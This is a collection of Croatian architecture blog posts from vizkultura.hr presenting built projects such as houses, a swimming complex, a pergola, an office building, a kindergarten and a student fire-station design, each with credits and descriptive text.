Subotom predstavljamo autorski projekt iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Petar Mišković i Tomislav Pavelić – kuće u nizu

građevina kuće u nizu
lokacija Rukavac
autori Petar Mišković i Tomislav Pavelić
naručitelji privatni
površina parcele 1753 m2
bruto površina 940 (4×235) m2
projekt 2007
realizacija 2012
fotografije Robert Leš

O projektu:
Kuće se kaskadno nižu hrptom brda. Uzdužni presjek ponavlja nagib terena, pročelje pokazuje presjek.
Svaka kuća spiralno izrasta iz tla: od konobe do vidikovca, od potpunog mraka do krošanja stabala; sve su domaće aktivnosti usput obuhvaćene.
Šuma je izbor, zato je stalno prisutna u kući – ovisno od prirode pojedinačnog prostora, jednom je u naznaci, drugi put u širokoj panorami.

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr.

The post Kuće u nizu appeared first on vizkultura.hr.

Srijedom ili nedjeljom vam predstavljamo studentske projekte nastale na umjetničkim, dizajnerskim i arhitektonskim fakultetima, školama i akademijama, u Hrvatskoj, regiji i svijetu.

Naziv rada: Vatrogasni dom u Starom Gradu na Hvaru
Autor: Borna Pavičić
Kolegij: Diplomska radionica
Mentor: doc. Petar Mišković
Studij: Arhitektonski Fakultet, Sveučilište u Zagrebu

VATROGASNI DOM U MALOM MJESTU
Vatrogasni dom u malim mjestima, čije tkivo čine slične tradicionalne kuće, nadrasta svoju infrastrukturnu ulogu. U većoj mjeri arhitektura vatrogasnog doma određena je svojim tipološkim zakonitostima nego kontekstom. Poput ostalih zgrada društvene namjene ističe se svojom dimenzijom i oblikovanjem, te postaje prostor okupljanja mještana. Zgrada se nalazi u novom dijelu mjesta i projektirana je kao orijentir u homogenom tkivu.

ORGANIZACIJA
Građevina je smještena u središtu parcele, definirana sa 6×6 jednakih modula. Građevinu čine dva volumena, koji svojim međuodnosom definiraju tri vanjska prostora različitih karaktera: sjeverni mediteranski vrt mirnog karaktera, središnje dvorište za treninge, te interventno dvorište na dodiru s glavnom cestom. Središnja os zapad-istok uvlači prolaznike u dvorište, dok središnja os sjever-jug vizualno povezuje sadržaje unutar zgrade. Toranj volumena definira rub središnjeg dvorišta i omogućuje treninge, dok urbanistički definira križanje dvije ceste, te omogućava pogled na ulaz brodova u zaljev i atraktivan zalazak sunca na zapadu.

Sjeverni volumen funkcionira kao boravišni prostor, sa spavaonicama u suterenu. Prostor može postati društveni dom zajednice. Južni volumen funkcionira kao stroj sa stajalištima za vozila i popratnim radionicama, te nije predviđen za boravak posjetitelja. Dva volumena povezana su „mostom“ administrativnih prostora u istočnom modulu, ispod kojih je teretana s mogućnošću povezivanja s vanjskim dijelom i dvorištem. Međuodnos sjevernog boravišnog volumena i središnjeg dvorišta ostvaren je preko trijema/balature sa stubištima. Odnos
evocira tradicionalni odnos između balature na jugu i dvora. U Dalmaciji se većina društenog života odvija u „prostorima između“- trgovima, kalama i pjacama. Središnje dvorište doma je „prostor između“, koji je hibrid između ulice i trga, a služi za dnevne rituale održavanja opreme i treniranja. Dvorište ima mogućnost natkrivanja i može funkcionirati kao prostor za događanja zasebno i/ili kao dodatak sjevernog volumena. Osnovna nosiva konstrukcija su čelični profili HEA 240 na osnim razmacima 5,7m.

VOLUMEN I MATERIJAL

Građevina je oblikovana kao kompaktni plašt, koji rezovima komunicira s vanjskim površinama. Građevina se svojom jednostavnošću detalja izdvaja među kućama ukrašenim nefunkcionalnim detaljima. Svojom kompatknošću i jednostavnošću referira se na tipologiju vatrogasnih postaja, ali i na staro, izvorno tkivo grada. Svojom uličnom visinom vijenca od 5m, u odnosnu na visinu vijenca okolnih kuća od 10,5m, kompenzira za svoju veću tlocrtnu površinu. Jednostavan volumen obučen je u profiliranu ovojnicu crvenih vlaknocementnih ploča. „Pulsiranje“
nabora obloge i otvorenih harmonika pokazuje karakter zgrade koja je spremna „eksplodirati“ na zvuk alarma. Crvene vlaknocementne ploče pomiruju tri imperativa: referiranje na vatrogasne postaje, duh mjesta i vrijeme u kojem zgrada nastaje. Ne mogavši pomiriti potrebe svih imperativa jednim materijalom: opeka i crvena boja, kamen/žbuka i kupa kanalica/mediteran crijep, te ekonomičnost, modularnost i brzu izvedbu, odlučujem se za materijal koji ima atribute sva tri imperativa i koji ih interpretira na suvremen način.

*Tlocrt – Klikom na jedan vizual isti se otvara uvećan u galeriji

*Presjeci

*Pročelja

Imaš odličan studentski projekt i misliš da ga konačno trebaju vidjeti i ljudi izvan tvog fakulteta ? Saznaj kako, klikni na tirkiznu sliku iznad ovog teksta!

The post Vatrogasni dom u Starom Gradu na Hvaru appeared first on vizkultura.hr.

Subotom predstavljamo autorski projekt iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Vjera Bakić i Matthias Kulstrunk – Bazenski kompleks Svetice

građevina: Bazenski kompleks Svetice, Zagreb, Hrvatska
autori: Vjera Bakić dipl.ing.arh. MA ETH i Matthias Kulstrunk MA ETH
arhitektonski ured: Plazma d.o.o.
projektni tim: Vjera Bakić i Matthias Kulstrunk
suradnici:
Dubravko Bačić, Ana Martina Bakić, Marko Cvjetko, Martina Jukić, Iskra Kirin, Ida Križaj , Marin Piršić, Bogdan Budimirov
betonska i čelična konstrukcija: Ivan Palijan, Siniša Lulić, Đuro Uzelac, Vladimir Crneković
termotehnička postrojenja i strojarske instalacije: Branko Šegotić, Miroslav Županić, Tomislav Kralj, Zlatko Jakoplić, Tihomir Vrtačnik
bazenska tehnika: Nenad Šutevski, Dario Butković
elektro instalacije: Branko Čorko
instalacije vode i kanalizacije: Srđan Grujić
protupožarni elaborat: Melita Kanceljak Marelić
projekt prometa: Ivica Vukušić
projekt zaštite od buke: Miro Bolkovac, Hrvoje Domitrović
fotografije: Marko Mihaljević
sustav prostornog usmjeravanja: Narcisa Vukojević, Damir Bralić, Hrvoje Živčić, Alma Šavar

*Bazen 25x13m

investitor: Zagrebački Holding d.o.o.
površina parcele: 10.448,00 m²
bruto površina: 9.648,00 m²
neto površina: 5.816,00 m²
projekt: 2008.
realizacija: 2016.
glavni izvođači: Zagreb Montaža d.o.o. i Teh – Gradnja d.o.o.

*Dječji bazen

O projektu:

Na istočnom ulazu u grad, na jednoj od najstarijih sportskih lokacija u Zagrebu, novootvorena zgrada Bazenskog kompleksa Svetice, autora Vjere Bakić i Matthiasa Kulstrunka, nastala je u direktnom dijalogu s Maksimirskom šumom te zatečenim prirodnim ambijentom sportskog parka.

*Vodeno igralište i dječji bazen

Rubni dijelovi parcele ograđeni su i izgrađeni sa istoka i zapada masivnim longitudinalnim servisnim traktovima dužine 120 m, a središnji prostor velike bazenske dvorane koji je nastao između, natkriven je filigranskom bijelom čeličnom konstrukcijom, osvjetljen bazilikalno te otvoren u smjeru sjevera i juga prema okolnoj prirodi, sportskim borilištima i stambenim neboderima.

Uzdužni su zidovi bazenske dvorane tretirani u potpunosti eksterijerski. Njihova je površina kontinuirano obložena prefabriciranim betonskim elementima sa agregatom dravskog šljunka i ista je kao i obloga vanjskih zidova servisnih traktova. Osjećaj plivanja u bazenskoj dvorani je manje intiman,a više kao vani, na otvorenom natkrivenom trgu.

*Ulazni trg

U bazenskoj dvorani nalaze se olimpijski bazen 50×25 m te bazen za rasplivavanje i rehabilitaciju 25 x 13.7 m. Bazenski kompleks sadrži i mali bazen za učenje plivanja 8 x 6 m, vodeno igralište te prostor wellnessa sa toplim i hladnim bazenom te vanjskim drvenim atrijem pod nebom.

*Istočna fasada

Na krovnim terasama servisnih traktova nalaze se sportska igrališta malog nogometa, badmintona, odbojke na pijesku te uzdignute drvene palube i sunčališta za korisnike bazena.

*Teren za mali nogomet

*Ulaza u Wellness

*Wellness

*Vrt saune / Ulazni hall / Bistro / Fitness (klikom na jednu fotografiju otvara se galerija)

*Tuševi

*Sve garderobne jedinice bazena

*Situacija – prizemlje

*Tlocrt kata

fotografije: Marko Mihaljević

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr.

The post Bazenski kompleks Svetice appeared first on vizkultura.hr.

Predstavljamo vam zanimljivi novi projekt Zadruge Praksa, pergolu na terasi Zajednice Talijana “Circolo” u Puli.

Više o projektu pročitajte u tekstu Emila Jurcana:

Pergola nije ništa drugo nego potpora biljkama penjačicama, oslonac za njegovo vertikalno formiranje. Arhitektura se ovdje povlači pred zelenilom, stremi nestajanju u strukturnoj sjeni. Ona se rastače na svoje rudimentarne elemente, reducira golo prisustvo na tektoniku, na dijagram gravitacijskih vektora koji kroz nju putuju prema zemlji.

Pergola na terasi pulske zajednice talijana “Circolo” svela je svoju tektonsku srž na strukturnu mrežu koja u sebi jasno razdvaja vlačne i tlačne elemente, svodeći prve na nivo jednodimenzionalne materijalnosti (sajlu) koja omogućava tlačnima neovisno plutanje u prostoru bez međusobnog dodirivanja. Kolokvijalni izraz kojim se opisuje ovakva struktura je „tensegrity“, a skovao ga je 60-ih godina prošlog stoljeća Buckminister Fuller kao skraćenicu od “tensional integrity”. To je bio rezultat istraživanja različitih inovatora okupljenih oko Black Mountain Collegea gdje je, među ostalima, boravio i umjetnik Kenneth Snelson, autor skulpture “Early X-Piece” s kojom je 1948. godine započeo svoje višegodišnje istraživanje prostornih i umjetničkih implikacija ovakvog tipa strukture. Primaran Snelsonov interes u ovom uobličavanju izraza bio je u autonomiji njegove forme. “Ovakva skulptura se može postaviti u orbiti u svemiru bez da izgubi svoju formu. Njezine sile su u unutarnjoj ravnoteži. Mehanika tlačnih i vlačnih sila je nevidljiva – čista energija – jednako kao što su magnetska ili električna polja nevidljiva.”1

Uzeto kao skulptura, kao objekt za sebe, ova forma doista može biti autonomna. Međutim, čim se taj apstraktni dijagram sila aplicira u arhitekturi, on dobiva svoj fiksni kontekst. On postaje konkretna apstrakcija.

Osim što se pergola nalazi na postojećoj terasi kluba “Circolo”, njoj se pristupa kroz Herkulova vrata, odnosno kroz antički ulaz u pulske bedeme koji, izgrađen polovinom 1. st. pr. n. e., predstavlja jedan od najstarijih očuvanih artefakata rimske civilizacije u Hrvatskoj. Nasuprot “Circolu” nalazi se zgrada nekadašnje Bance d’Italia, monolitna simetrična akumulacija kamena koju je arhitekt Vicenzo Munari krajem 1930-ih godina, tik pred Drugi svjetski rat, koncipirao kao monumentalnu introvertiranu mješavinu tvrđave i egipatskog hrama s namjerom da izrazi autoritarnu funkciju banke i kapitala u tadašnjem fašističkom režimu. Gotovo stoljeće kasnije, jedna pergola, jedna potpora bilju, smještena je između ovih kolosalnih stereometrijskih izraza vječite ideje moći, zajedno sa svim svojim suprotnostima. “Nijedna suprotnost nije manje premostiva od suprotnosti između konstruiranosti koja želi prijeći u nešto kamenito, lažno egipatsko i pretenciozno i sasvim druge dnevne zapovijedi današnjice; čisto duhovne, muzičke ekspresije koja nastoji dostići ornament.”2

Da li jedna pergola nastoji dostići ornament? Za Ernsta Blocha je smisao arhitekture ne toliko naše uprostoreno jastvo onoga što jesmo već onoga što želimo biti. Ona je u svakom slučaju utopija, odraz naših stvaralačkih ambicija, ona je umjetničko naznačavanje životnog prostora, samim time, njegovim riječima, “funkcionalno-po-sebi-simbolično”. Suočena s tom ontološkom zadaćom arhitektura ne može samo obavljati svoju primarnu svrhu. Koliko god pergola želi nestati pod vegetacijom, nju pritišće tektonski izraz, on se mora nekako ispoljiti. Ta suprotnost, prema Blochu, ima svoju sintezu. “Rođenje integralne tehnike i rođenje integralne ekspresije, koje valja točno razlikovati, ipak se događa iz iste magije: s jedne strane najtemeljitija lišenost ukrasa, a s druge strane najtemeljitije obilje, ornamentika, pa ipak su i jedno i drugo varijable istog egzodusa.” 2

U naznaci tog egzodusa, na terasi “Circola” stoji jedna pergola, za nas koji još uvijek ostajemo.

1– E. Heartney, Kenneth Snelson, Art and Ideas, New York, 2013. str. 20
2 – E. Bloch, O umjetnosti, Zagreb, 1981. str. 133
3 – Ibid. str.133

PERGOLA CIRCOLO
građevina: Pergola na terasi Zajednice Talijana “Circolo”, Pula, Hrvatska
autorica: Helena Sterpin dipl.ing.arh.
arhitektonski ured: zadruga Praksa
projektni tim: Helena Sterpin, Emil Jurcan
statika: TGI d.o.o., Pula
izvedba: Vladimir Gortan d.d., Pazin
metalne konstrukcije: Metal Creator d.o.o., Pazin
godina izrade: 2013. – 2016.
fotografije: Edna Jurcan

The post Pergola Circolo appeared first on vizkultura.hr.

Subotom predstavljamo autorski projekt iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Arhitektura Krušec d.o.o. – Upravna zgrada Slovenskog nogometnog saveza

*Klikom na jednu fotografiju otvara se cijela galerija

Arhitekti: Arhitektura Krušec d.o.o.
Lokacija: Cesta na Brdo, 4000 Kranj, Slovenija
Autori: Tomaž Krušec, Lena Krušec, Vid Kurinčič
Površina: 1220.0 m2
Godina projeka: 2016.
Fotograf: Miran Kambič
Suradnici: Ognen Arsov, Nina Bobinac, Jurij Nemec
Pejzažno uređenje: Studio AKKA

O projektu:
Zgrada sjedišta Slovenskog nogometnog saveza uredno poštuje lokaciju i oblik zgrade koja je prije njezine izgradnje stajala na istom mjestu. Nova zgrada sagrađena je na lokaciji kao autonomni volumen čija bjelina strogo naglašava razlike i granice između stoljećima stare prirode te ove arhitetektonske tvorevine nastale od strane ljudske ruke.

Tlocrti prizemlja i kata imaju formu slova U, a postavljeni su u međusobnom odosu tako da se prizemlje otvara na postojeće zelenilo i nogometne terene, dok gornji kat usmjerava poglede prema siluetama Kamniško Savinsjkih Alpi. Centar rotacije ovih dvaju katova jest kružni ostaljeni atrij, kojim dominiraju tri stabla voćki. Atrij je istovremeno glavna ambijentalna atrakcija za posjetitelje koji u zgradu ulaze.

Upravna zgrada projektirana je poput kakvog obzervatorija za prirodu, s obzirom na to da su svi uredi pozicionirani na vanjskom perimetru zgrade – omogučujući na taj način svim zaposlenicima fantastičan pogled na okolno zelenilo putem velikih staklenih površina. Kao kontrpunkt uredima zajedničke prostorije i hodnici orijentirani su na ozeljeni i ostakljeni atrij, refleksije u prozorima te kroz procjepe također poglede na okolne Alpe

Opna pročelja je umetnuta između horizontalne geometrije betonskih ploča i naglašenih aluminijskih vertikalea. Potonji su jasan odraz same konstrukcije, koji su pak najjasnije vidljivi na južnoj fasadi. Više o projektu pročitajte na linku

*Klikom na jednu fotografiju otvara se cijela galerija

Tekst i vizualni materijali via Archdaily.com

Fotografije: Miran Kambič

Više o arhitektima: arhitekturakrusec.si

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr.

The post Upravna zgrada NZS appeared first on vizkultura.hr.

Subotom u kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Dva Arhitekta / Tomislav Ćurković i Zoran Zidarić – Obiteljska kuća na Jelenovcu

*Klikom na jednu fotografiju otvara se cijela galerija

O projektu:

Specifična parcela u centru grada koja graniči s javnim stubama s jedne strane, park šumom s druge.

Kuća se zatvara u odnosu na stube i otvara prema šumi- tlocrt se lomi prateći oblik parcele, rastvara i uvlači prirodu u volumen kuće. Podizanje kuće na postament uvjetovala je konfiguracija parcele u udolini.

Masivnost dozvoljenog volumena kuće se umanjuje uglovnim „odgrizima“ tog istog volumena. Svako „nagrizanje“ kuće prati promjena boje i teksture fasade.

Na tamnom su ventiliranom dijelu fasade grupirani otvori, i gube se u koloritu i rasteru fasade. Na bijelim dijelovima fasade pojavljuju se tek nužna dva otvora, u etaži prizemlja.

Klinasti oblik parcele definira i promjene u tlocrtu, sa stubištem kao središnjim elementom spajajuće-razdvajajućeg prostora.

*Klikom na jedan nacrt otvara se cijela galerija

Tip ostvarenja: Obiteljska kuća
Autori: Tomislav Ćurković dia, Zoran Zidarić dia
Suradnici: Maja Maroši Pezo dia, Cvjetka Peronja dia, Tomislav Burgund dia
projektna tvrtka: Dva Arhitekta
godina projektiranja: 2014.
godina dovršetka gradnje: 2016.
površina lokacije (m2): 774
ukupna tlocrtna površina (m2): 540

fotografije: Damir Fabijanić

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr.

The post Obiteljska kuća na Jelenovcu appeared first on vizkultura.hr.

Subotom u kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Marija Simović i Petar Simović (Studio Simović) – ‘Stambeni objekt N1’

Stambeni objekt N1 sa četiri stana u Nemanjinoj ulici broj 1 u Kragujevcu u Srbiji, smješten je u najužoj gradskoj jezgri, na uskoj parceli koja je tipična za kaotično urbano okruženje nasljeđeno iz prošlosti. Projekt za ovaj objekt je nastao bez direktnog obaziranja na najuži kontekst ulice, jer se on tijekom godina izgubio u onom smislu koji podrazumijeva odnos objekta prema ulici, gradu, prolaznicima i na kraju korisnicima. Kontekst profane ‘jedno obiteljske’ arhitekture, bez jasnih stilskih odlika i nedefiniranog odnosa prema urbanitetu, postao je teren koji je jedino moguće bilo negirati dok, sa druge strane, su objekti koji su imali određenu estetiku međuratne arhitekture namijenjene za tada nešto boljestojeće korisnike, ostali kao tužna reminiscencija na prošlost. Također dio ulice čini jedan višeobiteljski objekt izgrađen u posljednjih 10 godina, koji je primer klasičnog graditeljstva za tržišnu upotrebu.

Objekt N1 je projektiran isprva sa slobodnim prizemljem za zelenilo i parkiranje, ali kako su se ispriječila birokratska ograničenja, objekt je „potopljen“, zadržavajući sve zamišljene morfološke karakteristike na parceli koja ima ulični front oko 7 metara. Tako je projektantskim rješenjem ulaz u objekt, kao i parkiranje, premješteno u formalno podrumsku etažu. Zelenilo je nadomješteno parternom baštom na koju izlazi jedan od stanova u prizemlju, kao i dvjema krovnim baštama namenjene za dva dupleksa.

Zbog oblika objekta koji se definira kao neprekinuti niz, on komunicira s ulicom samo preko ulične fasade. Kako bi se ona zaštitila od kasnijih deformacija i intervencija korisnika, tretirana je tako da nema terasa, a ventiliranom fasadom čiji pločasti HPL materijal je postao i materijal koji je poslužio da se razriješi zasjenčenje stanova, rezultirala je jednom preciznom i „akontekstualnom“ fasadom.

Dvorišna fasada je s druge strane tretirana tako da postaje nenametljiva u odnosu na kaotičnu unutrašnjost bloka i svojim oblikom ne sugerira višeobiteljsko stanovanje.

Diskretan kontekstualizam s objektima međuratne arhitekture, koja je jedino uzeta u obzir kao mjerodavan okvir okruženja, na prvi pogled je neuočljiv i ogleda se u urednoj fenestraciji i restauriranim ulaznim vratima sa jedno obiteljskog objekta koji se prethodno nalazio na parceli.
U tipološkom smislu zgrada se sastoji od dva dvosobna i dva triplex stana na čijoj se trećoj etaži nalaze zeleni krovovi sa kojih se pružaju vizure na gradsko jezgro.

Posebna pažnja je posvećena konstrukciji koja je izvedena kao armiranobetonska sa rasponima od jedne do druge bočne granice parcele i to od 7-7,5m zbog trapezoidnog oblika parcele. Time je omogućeno budućim korisnicima da svoje stambene jedinice organiziraju kako žele i sa punom slobodom, bez konstruktivnih ograničenja u vidu stubova ili nosećih zidova unutar stanova.

Opći podaci o objektu N1:

Tipologija: Stambeni objekt s četiri stana
Autori: Marija Simović, m.i.a. i Petar Simović, d.i.a. (Studio Simović)
Izvođač radova: Obi d.o.o.
Lokacija: Nemanjina 1, Kragujevac, Srbija
Godina projektiranja: 2016.
Godina izvođenja: 2016.
Kvadratura parcele: 245m2
Bruto kvadratura objekta: 441m2
Dodatni proizvođači:
Prozori: Sunce Marinković d.o.o, Kragujevac
Parket: Tara Concept, Beograd

Fotografije: Relja Ivanić

Proces gradnje se može vidjeti na #n1housingkg

Više o autorima:
studiosimovic.com/
facebook.com/studiosimovic/

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr.

The post ‘Stambeni objekt N1’ appeared first on vizkultura.hr.

Subotom u kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Dekleva Gregorič Arhitekti – ‘Kuća dimnjak’

O projektu (iz teksta arhitekata):

Oblikovanje kuće se prvenstveno temelji na pravilima lokalne arhitekture. Kuća poštuje morfologiju tradicionalne izgradnje u datom kontekstu, imajući na umu dvostrešne krovove, tipove kuća u okolini te materijale od kojih su kuće napravljene. S druge pak strane Kuća dimnjak označava tipološku transformaciju koja je generirana specifičnim potrebama korisnika.

Kuhinja s višenamjenskom peći na drva igra glavnu ulogu u privatnom i društvenom životu para koji živi u ovoj kući. Štednjak, koji je centralno pozicioniran u sredini kuće, generira dimnjak koji stoga određuje koncept kuće i rezultira centralno poravnatim izgledom prostora u presjeku kuće. Hrbat krova kuće razmaknut je te na taj način stvara kontinuirani svjetlarnik koji izduženom volumenu kuće pruža kontinuirani izvor svjetla u svim važnim prostorima objekta.

Kuća je smještena na samoj granici sela. Svojim oblikovanjem postavlja jasan stav spram susjednim objektima, drvenim štalama i materijalima koji dominiraju, istovremeno se svojim novim prepoznatljivim volumetrijskim identitetom udaljava od susjednih objekata, oblikovno se više približavajući i stvarajući dijalog s formom obližnje crkve iz 16. stoljeća. Ariš drvo na fasadi kuće definira materijal koji izvana karakterizira tradicionalnost i kontekst lokalne arhitekture.

Više o kući pročitajte na linku

*Klikom na jedan nacrt otvara se cijela galerija

Arhitekti: Dekleva Gregorič architects
Lokacija: Logatec, Slovenija
Projektni tim: Aljoša Dekleva, Tina Gregorič, Vid Zabel, Primož Boršič
Površina: 205.0 m2
Godina projekta: 2016
Proizvođači: Magis

Autor fotografija: Flavio Coddou via archdaily.com

Više o autorima:
dekleva-gregoric.com

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr.

The post ‘Kuća dimnjak’ appeared first on vizkultura.hr.

Subotom u kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Damir Vitković – obiteljska kuća u naselju Rožat pokraj Dubrovnika

O projektu (tekst arhitekta):
Lokalitet kuće je mjesto gdje se obronci brda spuštaju u rijeku, bogato je vegetacijom, suncem, mirisima i zvukovima. Umirujući je ambijent u koji će doći obiteljska kuća. Teren je nagibu, kvalitetne vizure su višestruke.

Dvije su teme koje su odredile kuću. Kako koristiti strmi vanjski prostor i kako ga povezati u cjelinu s unutrašnjim prostorom? Kako postići kvalitetan odnos između prirodnog i izgrađenog? Lokalna ladanjska arhitektura već je davno odgovorila na drugo pitanje. Promišljeni i održavani vanjski prostor omeđen zgradom u ovom slučaju je zaravnati teren, atrij koji je u zavjetrini kuće koja ga obujmljuje i formira. Otvoren je i zaštićen prostor iz kojeg se gleda na okolne stijene i krošnje stabala. Iz njega djeca tijekom igre zivkaju roditelje u dnevnom boravku, koji su bezbrižni, jer se djeca igraju vani, a ipak u unutar kuće. Odrasli u atriju ljeti blaguju u hladu gledajući jedrilice kroz prozore i otvore kuće.

Unutrašnji prostori osim na atrij, dominantnog su usjerenja na jug i gledaju na rijeku. Idealna orijentacija uz neizostavan problem pretjeranog osunčanja na moru. Južna je fasada odrina, zarotirana iz uobičajenog horizontalnog u vertikalni položaj. Zimi je biljni kadar, okir pogleda na rijeku, a ljeti prirodan izolator koji daje hlad boravaku u kući.

Osnovni podaci:

Površina parcele je 515 m2, kuća je ukupne bruto građevinske površine od 250 m2, visine prizemlje i kat. U prizemlju su dnevni boravak s blagovanjem, kuhinja, spavaća soba, kupaonica, komin, dva spremišta i lođa, a na katu su tri spavaće sobe, garderoba i kupaonica.

Tip projekta: Obiteljska kuća
Lokacija: Rožat, Dubrovnik
Investitor: Privatni
Autor: Damir Vitković, dipl.ing.arh.

Suradnici:
Arhitektura: Stjepan Smolčić, mag.ing.arch.
Konstrukcija: CANOSA INŽENJERING
Strojarstvo: EHO-COENG
Hidroinstalacije: EKSPERTERM
Projekt započet: 2008. godine
Izvedba završena:. 2017. godine
Fotografije: Borko Vukasov

Više o autoru: damirvitkovic.com

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr.

The post Obiteljska kuća u naselju Rožat appeared first on vizkultura.hr.

Subotom u kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Dražul Glušica arhitekti – Dječji vrtić u Mošćeničkoj Dragi

O projektu (tekst autora):

Dječji vrtić u Mošćeničkoj Dragi smjestio se u neposrednoj blizini centra mjesta, pored obiteljskih kuća, u dnu drage sa Učkom iza leđa. Sudjelovali smo u odabiru lokacije za izgradnju, prepoznajući kvalitete koje ovo susjedstvo pruža: vizure, osunčanost, smještaj u okružju obiteljskih kuća, vinograda i voćnjaka udaljen od glavnih prometnica.

Topografija terena određuje karakter lokacije, ozelenjene stranice strmih padina otvaraju kadrirani pogled na more u daljini. Jednostavan geometrijski volumen sačinjen iz niza longitudinalnih okvira postavljen je u formi brane na dnu prirodnog ljevka.
Gradbeni volumeni arhitektonskog sklopa fizički su okvir programskih zona u vrtiću. Zgradu sačinjavaju tri visinski i tlocrtno odvojena volumena: trijem, smještajne jedinice, servisne prostorije.

Bijeloj i oblikovno reduciranoj vanjštini suprotstavljen je interijer bogat koloritom i materijalima toplim na dodir. Put djeteta od ulaza na parcelu do odgojne skupine pa i dalje na samu terasu obložen je drvom, prirodnom gumom, toplim bojama na zidovima i raslinjem.

Svaka pojedina vrtićka jedinica ima pripadajuću vanjsku terasu do koje se dolazi preko natkrivenog prostora uz samu jedinicu. Uz vanjske terase nalaze se gredice za uzgoj autohtonih biljnih kultura. Visoko zelenilo čine autohtone voćke zasađene u predviđenom rasteru.

Tip projekta: Dječji vrtić
Lokacija: Mošćenička Draga
Investitor: Javni
Autori: Dražul Glušica arhitekti

Projektni tim: Leora Dražul, Siniša Glušica, Gorana Stipeč, Majda Marenčić
Unutarnje uređenje: Dražul Glušica arhitekti
Dizajn namještaja: Dražul Glušica arhitekti
Građevinski projekt: ULTRA STUDIO d.o.o
Strojarski projekt: MATULJI PROJEKT d.o.o.
Elektrotehički projekt: GPZ d.o.o.
Projekt hidrotehničkih instalacija: MATULJI PROJEKT d.o.o.
3D: Dražul Glušica arhitekti
Foto: Siniša Gulić

Više o autorima: dgarhitekti.hr 

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr

The post Dječji vrtić u Mošćeničkoj Dragi appeared first on vizkultura.hr.

U kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Arhitektonski biro Lukšić i Visković d.o.o. – Bijela kuća

Tko su oni?
Kako su se pojavili?
Što su svojim dolaskom prouzrokovali?
Migolje se prema našim idiličnim plažama, prema našim domovima, kalama i kaletama.
Prema nama, k’nama, da bi bili s nama.
A mi?
Nismo ih uspjeli, ili nismo htjeli, spriječiti ih da nas osvoje i pokore.
Iz godine u godinu sve ih je više, a kvazi-milja zovemo ih „hodočasnici“ ili „furešti“.
Namnožili se u tolikom broju da od njih sebe ne vidimo.
Dočekujemo ih oduševljeno, a ispraćamo tugom.
Mi smo im: domaćini, suputnici, sluge pokorne, barkarioli, braća i ljubavnici… sve ono što oni žele i ne žele.
Oni kao da mogu kupiti nas i sve od nas!
Mi smo izvrnuta slika nas samih, a ni oni nisu ono što misle.
Što smo, tko smo i gdje smo?

(Todorović, D. Za turizam Brača djelo Ante Vidoševića. Bol: M. Vidošević, 1998.)

O projektu:

Bijela kuća je stroj za život lokalca koji bi u njoj mogao živjeti, i turista visoke klase, koji bi u njoj mogao uživati. Nalazi se u malom mjestu Sutivan na srednjedalmatinskom otoku Braču i pripada ciklusu suvremenih sutivanskih kuća Arhitektonskog biroa Lukšić i Visković.

Kuća predstavlja pokušaj jednostavnosti u šumi nekritičkog trendovskog minimalizma, i samo je argument i posljedica vala suvremenog arhitektonskog izraza kojim je, u nedostatku kritičkih medija, došlo do novih problema u prostoru – ishitrenih i nepromišljenih formi. Zato je ova kuća nastala kao odgovor na pučku arhitekturu u kontekstu suvremenosti.

„Danas u 21. stoljeću, kada su pučki arhitektonski elementi luksuz, a ne nužnost življenja i gdje nažalost imamo “dvoje” investitora, jednog vođenog konceptom €xm² i drugog u zanosu pučke arhitekture, ali tek u domeni kopiranja, pitamo se što je sa današnjim vremenom i što će reći naši budući naraštaji? Je li arhitektura zapis vremena u kojem živimo?“
(Berislav Lukšić)

„Arhitektura je izravna projekcija društvenih, socijalnih, političkih i gospodarskih realiteta vremena u kojem nastaje.“
(Neven Šegvić)

Kako je mjesto Sutivan smješteno na sjevernoj strani otoka gdje se pogled pruža na more, a sunce dolazi s leđa, pri projektiranju kuće razmišlja se o konceptu koji uvažava oba uvjeta. Stvaranjem introvertiranosti ogradnim zidovima dvor postaje sastavni dio kuće, a nastaje prožimanje unutrašnjeg i vanjskog prostora pogodnog za dalmatinsko podneblje koje omogućava boravljenje na otvorenom velikim dijelom godine.

